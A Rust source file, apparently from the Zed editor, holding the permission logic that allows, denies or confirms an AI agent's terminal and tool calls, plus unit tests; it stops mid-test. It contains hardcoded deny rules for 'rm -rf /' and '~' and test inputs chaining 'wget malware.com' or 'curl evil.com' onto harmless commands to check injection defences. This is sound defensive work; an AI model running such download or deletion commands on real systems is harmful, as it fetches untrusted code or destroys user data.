tool_permissions.rs

   1use crate::AgentTool;
   2use crate::shell_parser::extract_commands;
   3use crate::tools::TerminalTool;
   4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   5use settings::ToolPermissionMode;
   6use std::sync::LazyLock;
   7use util::shell::ShellKind;
   8
   9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  10     harmful to be allowed, and cannot be overridden by settings.";
  11
  12/// Security rules that are always enforced and cannot be overridden by any setting.
  13/// These protect against catastrophic operations like wiping filesystems.
  14pub struct HardcodedSecurityRules {
  15    pub terminal_deny: Vec<CompiledRegex>,
  16}
  17
  18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  19    HardcodedSecurityRules {
  20        terminal_deny: vec![
  21            // Recursive deletion of root - "rm -rf /" or "rm -rf / "
  22            CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*/\s*$", false)
  23                .expect("hardcoded regex should compile"),
  24            // Recursive deletion of home - "rm -rf ~" (but not ~/subdir)
  25            CompiledRegex::new(r"rm\s+(-[rRfF]+\s+)*~\s*$", false)
  26                .expect("hardcoded regex should compile"),
  27        ],
  28    }
  29});
  30
  31/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  32/// Returns a Deny decision if blocked, None otherwise.
  33fn check_hardcoded_security_rules(
  34    tool_name: &str,
  35    input: &str,
  36    shell_kind: ShellKind,
  37) -> Option<ToolPermissionDecision> {
  38    // Currently only terminal tool has hardcoded rules
  39    if tool_name != TerminalTool::name() {
  40        return None;
  41    }
  42
  43    let rules = &*HARDCODED_SECURITY_RULES;
  44    let terminal_patterns = &rules.terminal_deny;
  45
  46    // First: check the original input as-is
  47    for pattern in terminal_patterns {
  48        if pattern.is_match(input) {
  49            return Some(ToolPermissionDecision::Deny(
  50                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  51            ));
  52        }
  53    }
  54
  55    // Second: parse and check individual sub-commands (for chained commands)
  56    if shell_kind.supports_posix_chaining() {
  57        if let Some(commands) = extract_commands(input) {
  58            for command in &commands {
  59                for pattern in terminal_patterns {
  60                    if pattern.is_match(command) {
  61                        return Some(ToolPermissionDecision::Deny(
  62                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  63                        ));
  64                    }
  65                }
  66            }
  67        }
  68    }
  69
  70    None
  71}
  72
  73#[derive(Debug, Clone, PartialEq, Eq)]
  74pub enum ToolPermissionDecision {
  75    Allow,
  76    Deny(String),
  77    Confirm,
  78}
  79
  80impl ToolPermissionDecision {
  81    /// Determines the permission decision for a tool invocation based on configured rules.
  82    ///
  83    /// # Precedence Order (highest to lowest)
  84    ///
  85    /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
  86    ///    prompting. This global setting bypasses all other checks including deny patterns.
  87    ///    Use with caution as it disables all security rules.
  88    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
  89    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
  90    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
  91    ///    the user is prompted for confirmation.
  92    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
  93    ///    the tool call proceeds without prompting.
  94    /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
  95    ///
  96    /// # Shell Compatibility (Terminal Tool Only)
  97    ///
  98    /// For the terminal tool, commands are parsed to extract sub-commands for security.
  99    /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
 100    ///
 101    /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
 102    /// Cmd, Xonsh, Csh, Tcsh
 103    ///
 104    /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
 105    ///
 106    /// For incompatible shells, `always_allow` patterns are disabled for safety.
 107    ///
 108    /// # Pattern Matching Tips
 109    ///
 110    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 111    /// string for the terminal tool). Some tips for writing effective patterns:
 112    ///
 113    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 114    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 115    ///   This is important for security rules where you want to block specific commands
 116    ///   without accidentally blocking unrelated commands that happen to contain the same
 117    ///   substring.
 118    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 119    /// - Use `^` and `$` anchors to match the start/end of the input.
 120    pub fn from_input(
 121        tool_name: &str,
 122        input: &str,
 123        permissions: &ToolPermissions,
 124        always_allow_tool_actions: bool,
 125        shell_kind: ShellKind,
 126    ) -> ToolPermissionDecision {
 127        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 128        // These cannot be bypassed by any user settings.
 129        if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
 130            return denial;
 131        }
 132
 133        // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
 134        // Note: This no longer bypasses hardcoded security rules (checked above).
 135        if always_allow_tool_actions {
 136            return ToolPermissionDecision::Allow;
 137        }
 138
 139        let rules = match permissions.tools.get(tool_name) {
 140            Some(rules) => rules,
 141            None => {
 142                return ToolPermissionDecision::Confirm;
 143            }
 144        };
 145
 146        // Check for invalid regex patterns before evaluating rules.
 147        // If any patterns failed to compile, block the tool call entirely.
 148        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 149            return ToolPermissionDecision::Deny(error);
 150        }
 151
 152        // For the terminal tool, parse the command to extract all sub-commands.
 153        // This prevents shell injection attacks where a user configures an allow
 154        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 155        //
 156        // If parsing fails or the shell syntax is unsupported, always_allow is
 157        // disabled for this command (we set allow_enabled to false to signal this).
 158        if tool_name == TerminalTool::name() {
 159            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 160            // See the doc comment above for the list of compatible/incompatible shells.
 161            if !shell_kind.supports_posix_chaining() {
 162                // For shells with incompatible syntax, we can't reliably parse
 163                // the command to extract sub-commands.
 164                if !rules.always_allow.is_empty() {
 165                    // If the user has configured always_allow patterns, we must deny
 166                    // because we can't safely verify the command doesn't contain
 167                    // hidden sub-commands that bypass the allow patterns.
 168                    return ToolPermissionDecision::Deny(format!(
 169                        "The {} shell does not support \"always allow\" patterns for the terminal \
 170                         tool because Zed cannot parse its command chaining syntax. Please remove \
 171                         the always_allow patterns from your tool_permissions settings, or switch \
 172                         to a POSIX-conforming shell.",
 173                        shell_kind
 174                    ));
 175                }
 176                // No always_allow rules, so we can still check deny/confirm patterns.
 177                return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
 178            }
 179
 180            match extract_commands(input) {
 181                Some(commands) => check_commands(commands, rules, tool_name, true),
 182                None => {
 183                    // The command failed to parse, so we check to see if we should auto-deny
 184                    // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
 185                    // fall back on the default (based on the user's settings, which is Confirm
 186                    // if not specified otherwise). Ignore "always allow" when it failed to parse.
 187                    check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
 188                }
 189            }
 190        } else {
 191            check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
 192        }
 193    }
 194}
 195
 196/// Evaluates permission rules against a set of commands.
 197///
 198/// This function performs a single pass through all commands with the following logic:
 199/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 200/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 201/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 202///
 203/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 204/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 205/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 206fn check_commands(
 207    commands: impl IntoIterator<Item = String>,
 208    rules: &ToolRules,
 209    tool_name: &str,
 210    allow_enabled: bool,
 211) -> ToolPermissionDecision {
 212    // Single pass through all commands:
 213    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 214    // - CONFIRM: Track if ANY command matches a confirm pattern
 215    // - ALLOW: Track if ALL commands match at least one allow pattern
 216    let mut any_matched_confirm = false;
 217    let mut all_matched_allow = true;
 218    let mut had_any_commands = false;
 219
 220    for command in commands {
 221        had_any_commands = true;
 222
 223        // DENY: immediate return if any command matches a deny pattern
 224        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 225            return ToolPermissionDecision::Deny(format!(
 226                "Command blocked by security rule for {} tool",
 227                tool_name
 228            ));
 229        }
 230
 231        // CONFIRM: remember if any command matches a confirm pattern
 232        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 233            any_matched_confirm = true;
 234        }
 235
 236        // ALLOW: track if all commands match at least one allow pattern
 237        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 238            all_matched_allow = false;
 239        }
 240    }
 241
 242    // After processing all commands, check accumulated state
 243    if any_matched_confirm {
 244        return ToolPermissionDecision::Confirm;
 245    }
 246
 247    if allow_enabled && all_matched_allow && had_any_commands {
 248        return ToolPermissionDecision::Allow;
 249    }
 250
 251    match rules.default_mode {
 252        ToolPermissionMode::Deny => {
 253            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 254        }
 255        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 256        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 257    }
 258}
 259
 260/// Checks if the tool rules contain any invalid regex patterns.
 261/// Returns an error message if invalid patterns are found.
 262fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 263    if rules.invalid_patterns.is_empty() {
 264        return None;
 265    }
 266
 267    let count = rules.invalid_patterns.len();
 268    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 269
 270    Some(format!(
 271        "The {} tool cannot run because {} regex {} failed to compile. \
 272         Please fix the invalid patterns in your tool_permissions settings.",
 273        tool_name, count, pattern_word
 274    ))
 275}
 276
 277/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 278///
 279/// This is the primary entry point for tools to check permissions. It extracts
 280/// `tool_permissions` and `always_allow_tool_actions` from the settings and
 281/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 282pub fn decide_permission_from_settings(
 283    tool_name: &str,
 284    input: &str,
 285    settings: &AgentSettings,
 286) -> ToolPermissionDecision {
 287    ToolPermissionDecision::from_input(
 288        tool_name,
 289        input,
 290        &settings.tool_permissions,
 291        settings.always_allow_tool_actions,
 292        ShellKind::system(),
 293    )
 294}
 295
 296#[cfg(test)]
 297mod tests {
 298    use super::*;
 299    use crate::pattern_extraction::extract_terminal_pattern;
 300    use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
 301    use std::sync::Arc;
 302
 303    fn pattern(command: &str) -> &'static str {
 304        Box::leak(
 305            extract_terminal_pattern(command)
 306                .expect("failed to extract pattern")
 307                .into_boxed_str(),
 308        )
 309    }
 310
 311    struct PermTest {
 312        tool: &'static str,
 313        input: &'static str,
 314        mode: ToolPermissionMode,
 315        allow: Vec<(&'static str, bool)>,
 316        deny: Vec<(&'static str, bool)>,
 317        confirm: Vec<(&'static str, bool)>,
 318        global: bool,
 319        shell: ShellKind,
 320    }
 321
 322    impl PermTest {
 323        fn new(input: &'static str) -> Self {
 324            Self {
 325                tool: "terminal",
 326                input,
 327                mode: ToolPermissionMode::Confirm,
 328                allow: vec![],
 329                deny: vec![],
 330                confirm: vec![],
 331                global: false,
 332                shell: ShellKind::Posix,
 333            }
 334        }
 335
 336        fn tool(mut self, t: &'static str) -> Self {
 337            self.tool = t;
 338            self
 339        }
 340        fn mode(mut self, m: ToolPermissionMode) -> Self {
 341            self.mode = m;
 342            self
 343        }
 344        fn allow(mut self, p: &[&'static str]) -> Self {
 345            self.allow = p.iter().map(|s| (*s, false)).collect();
 346            self
 347        }
 348        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 349            self.allow = p.iter().map(|s| (*s, true)).collect();
 350            self
 351        }
 352        fn deny(mut self, p: &[&'static str]) -> Self {
 353            self.deny = p.iter().map(|s| (*s, false)).collect();
 354            self
 355        }
 356        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 357            self.deny = p.iter().map(|s| (*s, true)).collect();
 358            self
 359        }
 360        fn confirm(mut self, p: &[&'static str]) -> Self {
 361            self.confirm = p.iter().map(|s| (*s, false)).collect();
 362            self
 363        }
 364        fn global(mut self, g: bool) -> Self {
 365            self.global = g;
 366            self
 367        }
 368        fn shell(mut self, s: ShellKind) -> Self {
 369            self.shell = s;
 370            self
 371        }
 372
 373        fn is_allow(self) {
 374            assert_eq!(
 375                self.run(),
 376                ToolPermissionDecision::Allow,
 377                "expected Allow for '{}'",
 378                self.input
 379            );
 380        }
 381        fn is_deny(self) {
 382            assert!(
 383                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 384                "expected Deny for '{}'",
 385                self.input
 386            );
 387        }
 388        fn is_confirm(self) {
 389            assert_eq!(
 390                self.run(),
 391                ToolPermissionDecision::Confirm,
 392                "expected Confirm for '{}'",
 393                self.input
 394            );
 395        }
 396
 397        fn run(&self) -> ToolPermissionDecision {
 398            let mut tools = collections::HashMap::default();
 399            tools.insert(
 400                Arc::from(self.tool),
 401                ToolRules {
 402                    default_mode: self.mode,
 403                    always_allow: self
 404                        .allow
 405                        .iter()
 406                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 407                        .collect(),
 408                    always_deny: self
 409                        .deny
 410                        .iter()
 411                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 412                        .collect(),
 413                    always_confirm: self
 414                        .confirm
 415                        .iter()
 416                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 417                        .collect(),
 418                    invalid_patterns: vec![],
 419                },
 420            );
 421            ToolPermissionDecision::from_input(
 422                self.tool,
 423                self.input,
 424                &ToolPermissions { tools },
 425                self.global,
 426                self.shell,
 427            )
 428        }
 429    }
 430
 431    fn t(input: &'static str) -> PermTest {
 432        PermTest::new(input)
 433    }
 434
 435    fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
 436        ToolPermissionDecision::from_input(
 437            "terminal",
 438            input,
 439            &ToolPermissions {
 440                tools: collections::HashMap::default(),
 441            },
 442            global,
 443            ShellKind::Posix,
 444        )
 445    }
 446
 447    // allow pattern matches
 448    #[test]
 449    fn allow_exact_match() {
 450        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 451    }
 452    #[test]
 453    fn allow_one_of_many_patterns() {
 454        t("npm install")
 455            .allow(&[pattern("cargo"), pattern("npm")])
 456            .is_allow();
 457        t("git status")
 458            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 459            .is_allow();
 460    }
 461    #[test]
 462    fn allow_middle_pattern() {
 463        t("run cargo now").allow(&["cargo"]).is_allow();
 464    }
 465    #[test]
 466    fn allow_anchor_prevents_middle() {
 467        t("run cargo now").allow(&["^cargo"]).is_confirm();
 468    }
 469
 470    // allow pattern doesn't match -> falls through
 471    #[test]
 472    fn allow_no_match_confirms() {
 473        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 474    }
 475    #[test]
 476    fn allow_no_match_global_allows() {
 477        t("python x.py")
 478            .allow(&[pattern("cargo")])
 479            .global(true)
 480            .is_allow();
 481    }
 482
 483    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 484    #[test]
 485    fn deny_blocks() {
 486        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 487    }
 488    #[test]
 489    fn global_bypasses_user_deny() {
 490        // always_allow_tool_actions bypasses user-configured deny rules
 491        t("rm -rf ./temp")
 492            .deny(&["rm\\s+-rf"])
 493            .global(true)
 494            .is_allow();
 495    }
 496    #[test]
 497    fn deny_blocks_with_mode_allow() {
 498        t("rm -rf ./temp")
 499            .deny(&["rm\\s+-rf"])
 500            .mode(ToolPermissionMode::Allow)
 501            .is_deny();
 502    }
 503    #[test]
 504    fn deny_middle_match() {
 505        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 506    }
 507    #[test]
 508    fn deny_no_match_falls_through() {
 509        t("ls -la")
 510            .deny(&["rm\\s+-rf"])
 511            .mode(ToolPermissionMode::Allow)
 512            .is_allow();
 513    }
 514
 515    // confirm pattern matches
 516    #[test]
 517    fn confirm_requires_confirm() {
 518        t("sudo apt install")
 519            .confirm(&[pattern("sudo")])
 520            .is_confirm();
 521    }
 522    #[test]
 523    fn global_overrides_confirm() {
 524        t("sudo reboot")
 525            .confirm(&[pattern("sudo")])
 526            .global(true)
 527            .is_allow();
 528    }
 529    #[test]
 530    fn confirm_overrides_mode_allow() {
 531        t("sudo x")
 532            .confirm(&["sudo"])
 533            .mode(ToolPermissionMode::Allow)
 534            .is_confirm();
 535    }
 536
 537    // confirm beats allow
 538    #[test]
 539    fn confirm_beats_allow() {
 540        t("git push --force")
 541            .allow(&[pattern("git")])
 542            .confirm(&["--force"])
 543            .is_confirm();
 544    }
 545    #[test]
 546    fn confirm_beats_allow_overlap() {
 547        t("deploy prod")
 548            .allow(&["deploy"])
 549            .confirm(&["prod"])
 550            .is_confirm();
 551    }
 552    #[test]
 553    fn allow_when_confirm_no_match() {
 554        t("git status")
 555            .allow(&[pattern("git")])
 556            .confirm(&["--force"])
 557            .is_allow();
 558    }
 559
 560    // deny beats allow
 561    #[test]
 562    fn deny_beats_allow() {
 563        t("rm -rf ./tmp/x")
 564            .allow(&["/tmp/"])
 565            .deny(&["rm\\s+-rf"])
 566            .is_deny();
 567    }
 568
 569    #[test]
 570    fn deny_beats_confirm() {
 571        t("sudo rm -rf ./temp")
 572            .confirm(&["sudo"])
 573            .deny(&["rm\\s+-rf"])
 574            .is_deny();
 575    }
 576
 577    // deny beats everything
 578    #[test]
 579    fn deny_beats_all() {
 580        t("bad cmd")
 581            .allow(&["cmd"])
 582            .confirm(&["cmd"])
 583            .deny(&["bad"])
 584            .is_deny();
 585    }
 586
 587    // no patterns -> default_mode
 588    #[test]
 589    fn default_confirm() {
 590        t("python x.py")
 591            .mode(ToolPermissionMode::Confirm)
 592            .is_confirm();
 593    }
 594    #[test]
 595    fn default_allow() {
 596        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 597    }
 598    #[test]
 599    fn default_deny() {
 600        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 601    }
 602    #[test]
 603    fn default_deny_global_true() {
 604        t("python x.py")
 605            .mode(ToolPermissionMode::Deny)
 606            .global(true)
 607            .is_allow();
 608    }
 609
 610    #[test]
 611    fn default_confirm_global_true() {
 612        t("x")
 613            .mode(ToolPermissionMode::Confirm)
 614            .global(true)
 615            .is_allow();
 616    }
 617
 618    #[test]
 619    fn no_rules_confirms_by_default() {
 620        assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
 621    }
 622
 623    #[test]
 624    fn empty_input_no_match() {
 625        t("")
 626            .deny(&["rm"])
 627            .mode(ToolPermissionMode::Allow)
 628            .is_allow();
 629    }
 630
 631    #[test]
 632    fn empty_input_with_allow_falls_to_default() {
 633        t("").allow(&["^ls"]).is_confirm();
 634    }
 635
 636    #[test]
 637    fn multi_deny_any_match() {
 638        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 639        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 640    }
 641
 642    #[test]
 643    fn multi_allow_any_match() {
 644        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 645    }
 646    #[test]
 647    fn multi_none_match() {
 648        t("python x")
 649            .allow(&["^cargo", "^npm"])
 650            .deny(&["rm"])
 651            .is_confirm();
 652    }
 653
 654    // tool isolation
 655    #[test]
 656    fn other_tool_not_affected() {
 657        let mut tools = collections::HashMap::default();
 658        tools.insert(
 659            Arc::from("terminal"),
 660            ToolRules {
 661                default_mode: ToolPermissionMode::Deny,
 662                always_allow: vec![],
 663                always_deny: vec![],
 664                always_confirm: vec![],
 665                invalid_patterns: vec![],
 666            },
 667        );
 668        tools.insert(
 669            Arc::from("edit_file"),
 670            ToolRules {
 671                default_mode: ToolPermissionMode::Allow,
 672                always_allow: vec![],
 673                always_deny: vec![],
 674                always_confirm: vec![],
 675                invalid_patterns: vec![],
 676            },
 677        );
 678        let p = ToolPermissions { tools };
 679        // With always_allow_tool_actions=true, even default_mode: Deny is overridden
 680        assert_eq!(
 681            ToolPermissionDecision::from_input("terminal", "x", &p, true, ShellKind::Posix),
 682            ToolPermissionDecision::Allow
 683        );
 684        // With always_allow_tool_actions=false, default_mode: Deny is respected
 685        assert!(matches!(
 686            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 687            ToolPermissionDecision::Deny(_)
 688        ));
 689        assert_eq!(
 690            ToolPermissionDecision::from_input("edit_file", "x", &p, false, ShellKind::Posix),
 691            ToolPermissionDecision::Allow
 692        );
 693    }
 694
 695    #[test]
 696    fn partial_tool_name_no_match() {
 697        let mut tools = collections::HashMap::default();
 698        tools.insert(
 699            Arc::from("term"),
 700            ToolRules {
 701                default_mode: ToolPermissionMode::Deny,
 702                always_allow: vec![],
 703                always_deny: vec![],
 704                always_confirm: vec![],
 705                invalid_patterns: vec![],
 706            },
 707        );
 708        let p = ToolPermissions { tools };
 709        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
 710        assert_eq!(
 711            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 712            ToolPermissionDecision::Confirm
 713        );
 714    }
 715
 716    // invalid patterns block the tool (but global bypasses all checks)
 717    #[test]
 718    fn invalid_pattern_blocks() {
 719        let mut tools = collections::HashMap::default();
 720        tools.insert(
 721            Arc::from("terminal"),
 722            ToolRules {
 723                default_mode: ToolPermissionMode::Allow,
 724                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
 725                always_deny: vec![],
 726                always_confirm: vec![],
 727                invalid_patterns: vec![InvalidRegexPattern {
 728                    pattern: "[bad".into(),
 729                    rule_type: "always_deny".into(),
 730                    error: "err".into(),
 731                }],
 732            },
 733        );
 734        let p = ToolPermissions {
 735            tools: tools.clone(),
 736        };
 737        // With global=true, all checks are bypassed including invalid pattern check
 738        assert!(matches!(
 739            ToolPermissionDecision::from_input("terminal", "echo hi", &p, true, ShellKind::Posix),
 740            ToolPermissionDecision::Allow
 741        ));
 742        // With global=false, invalid patterns block the tool
 743        assert!(matches!(
 744            ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix),
 745            ToolPermissionDecision::Deny(_)
 746        ));
 747    }
 748
 749    #[test]
 750    fn shell_injection_via_double_ampersand_not_allowed() {
 751        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
 752    }
 753
 754    #[test]
 755    fn shell_injection_via_semicolon_not_allowed() {
 756        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
 757    }
 758
 759    #[test]
 760    fn shell_injection_via_pipe_not_allowed() {
 761        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
 762    }
 763
 764    #[test]
 765    fn shell_injection_via_backticks_not_allowed() {
 766        t("echo `wget malware.com`")
 767            .allow(&[pattern("echo")])
 768            .is_confirm();
 769    }
 770
 771    #[test]
 772    fn shell_injection_via_dollar_parens_not_allowed() {
 773        t("echo $(wget malware.com)")
 774            .allow(&[pattern("echo")])
 775            .is_confirm();
 776    }
 777
 778    #[test]
 779    fn shell_injection_via_or_operator_not_allowed() {
 780        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
 781    }
 782
 783    #[test]
 784    fn shell_injection_via_background_operator_not_allowed() {
 785        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
 786    }
 787
 788    #[test]
 789    fn shell_injection_via_newline_not_allowed() {
 790        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
 791    }
 792
 793    #[test]
 794    fn shell_injection_via_process_substitution_input_not_allowed() {
 795        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
 796    }
 797
 798    #[test]
 799    fn shell_injection_via_process_substitution_output_not_allowed() {
 800        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
 801    }
 802
 803    #[test]
 804    fn shell_injection_without_spaces_not_allowed() {
 805        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
 806        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
 807    }
 808
 809    #[test]
 810    fn shell_injection_multiple_chained_operators_not_allowed() {
 811        t("ls && echo hello && wget malware.com")
 812            .allow(&["^ls"])
 813            .is_confirm();
 814    }
 815
 816    #[test]
 817    fn shell_injection_mixed_operators_not_allowed() {
 818        t("ls; echo hello && wget malware.com")
 819            .allow(&["^ls"])
 820            .is_confirm();
 821    }
 822
 823    #[test]
 824    fn shell_injection_pipe_stderr_not_allowed() {
 825        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
 826    }
 827
 828    #[test]
 829    fn allow_requires_all_commands_to_match() {
 830        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
 831    }
 832
 833    #[test]
 834    fn deny_triggers_on_any_matching_command() {
 835        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
 836    }
 837
 838    #[test]
 839    fn deny_catches_injected_command() {
 840        t("ls && rm -rf ./temp")
 841            .allow(&["^ls"])
 842            .deny(&["^rm"])
 843            .is_deny();
 844    }
 845
 846    #[test]
 847    fn confirm_triggers_on_any_matching_command() {
 848        t("ls && sudo reboot")
 849            .allow(&["^ls"])
 850            .confirm(&["^sudo"])
 851            .is_confirm();
 852    }
 853
 854    #[test]
 855    fn always_allow_button_works_end_to_end() {
 856        // This test verifies that the "Always Allow" button behavior works correctly:
 857        // 1. User runs a command like "cargo build"
 858        // 2. They click "Always Allow for `cargo` commands"
 859        // 3. The pattern extracted from that command should match future cargo commands
 860        let original_command = "cargo build --release";
 861        let extracted_pattern = pattern(original_command);
 862
 863        // The extracted pattern should allow the original command
 864        t(original_command).allow(&[extracted_pattern]).is_allow();
 865
 866        // It should also allow other commands with the same base command
 867        t("cargo test").allow(&[extracted_pattern]).is_allow();
 868        t("cargo fmt").allow(&[extracted_pattern]).is_allow();
 869
 870        // But not commands with different base commands
 871        t("npm install").allow(&[extracted_pattern]).is_confirm();
 872
 873        // And it should work with subcommand extraction (chained commands)
 874        t("cargo build && cargo test")
 875            .allow(&[extracted_pattern])
 876            .is_allow();
 877
 878        // But reject if any subcommand doesn't match
 879        t("cargo build && npm install")
 880            .allow(&[extracted_pattern])
 881            .is_confirm();
 882    }
 883
 884    #[test]
 885    fn nested_command_substitution_all_checked() {
 886        t("echo $(cat $(whoami).txt)")
 887            .allow(&["^echo", "^cat", "^whoami"])
 888            .is_allow();
 889    }
 890
 891    #[test]
 892    fn parse_failure_falls_back_to_confirm() {
 893        t("ls &&").allow(&["^ls$"]).is_confirm();
 894    }
 895
 896    #[test]
 897    fn mcp_tool_default_modes() {
 898        t("")
 899            .tool("mcp:fs:read")
 900            .mode(ToolPermissionMode::Allow)
 901            .is_allow();
 902        t("")
 903            .tool("mcp:bad:del")
 904            .mode(ToolPermissionMode::Deny)
 905            .is_deny();
 906        t("")
 907            .tool("mcp:gh:issue")
 908            .mode(ToolPermissionMode::Confirm)
 909            .is_confirm();
 910        t("")
 911            .tool("mcp:gh:issue")
 912            .mode(ToolPermissionMode::Confirm)
 913            .global(true)
 914            .is_allow();
 915    }
 916
 917    #[test]
 918    fn mcp_doesnt_collide_with_builtin() {
 919        let mut tools = collections::HashMap::default();
 920        tools.insert(
 921            Arc::from("terminal"),
 922            ToolRules {
 923                default_mode: ToolPermissionMode::Deny,
 924                always_allow: vec![],
 925                always_deny: vec![],
 926                always_confirm: vec![],
 927                invalid_patterns: vec![],
 928            },
 929        );
 930        tools.insert(
 931            Arc::from("mcp:srv:terminal"),
 932            ToolRules {
 933                default_mode: ToolPermissionMode::Allow,
 934                always_allow: vec![],
 935                always_deny: vec![],
 936                always_confirm: vec![],
 937                invalid_patterns: vec![],
 938            },
 939        );
 940        let p = ToolPermissions { tools };
 941        assert!(matches!(
 942            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 943            ToolPermissionDecision::Deny(_)
 944        ));
 945        assert_eq!(
 946            ToolPermissionDecision::from_input(
 947                "mcp:srv:terminal",
 948                "x",
 949                &p,
 950                false,
 951                ShellKind::Posix
 952            ),
 953            ToolPermissionDecision::Allow
 954        );
 955    }
 956
 957    #[test]
 958    fn case_insensitive_by_default() {
 959        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
 960        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
 961    }
 962
 963    #[test]
 964    fn case_sensitive_allow() {
 965        t("cargo test")
 966            .allow_case_sensitive(&[pattern("cargo")])
 967            .is_allow();
 968        t("CARGO TEST")
 969            .allow_case_sensitive(&[pattern("cargo")])
 970            .is_confirm();
 971    }
 972
 973    #[test]
 974    fn case_sensitive_deny() {
 975        t("rm -rf ./temp")
 976            .deny_case_sensitive(&[pattern("rm")])
 977            .is_deny();
 978        t("RM -RF ./temp")
 979            .deny_case_sensitive(&[pattern("rm")])
 980            .mode(ToolPermissionMode::Allow)
 981            .is_allow();
 982    }
 983
 984    #[test]
 985    fn nushell_denies_when_always_allow_configured() {
 986        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_deny();
 987    }
 988
 989    #[test]
 990    fn nushell_allows_deny_patterns() {
 991        t("rm -rf ./temp")
 992            .deny(&["rm\\s+-rf"])
 993            .shell(ShellKind::Nushell)
 994            .is_deny();
 995    }
 996
 997    #[test]
 998    fn nushell_allows_confirm_patterns() {
 999        t("sudo reboot")
1000            .confirm(&["sudo"])
1001            .shell(ShellKind::Nushell)
1002            .is_confirm();
1003    }
1004
1005    #[test]
1006    fn nushell_no_allow_patterns_uses_default() {
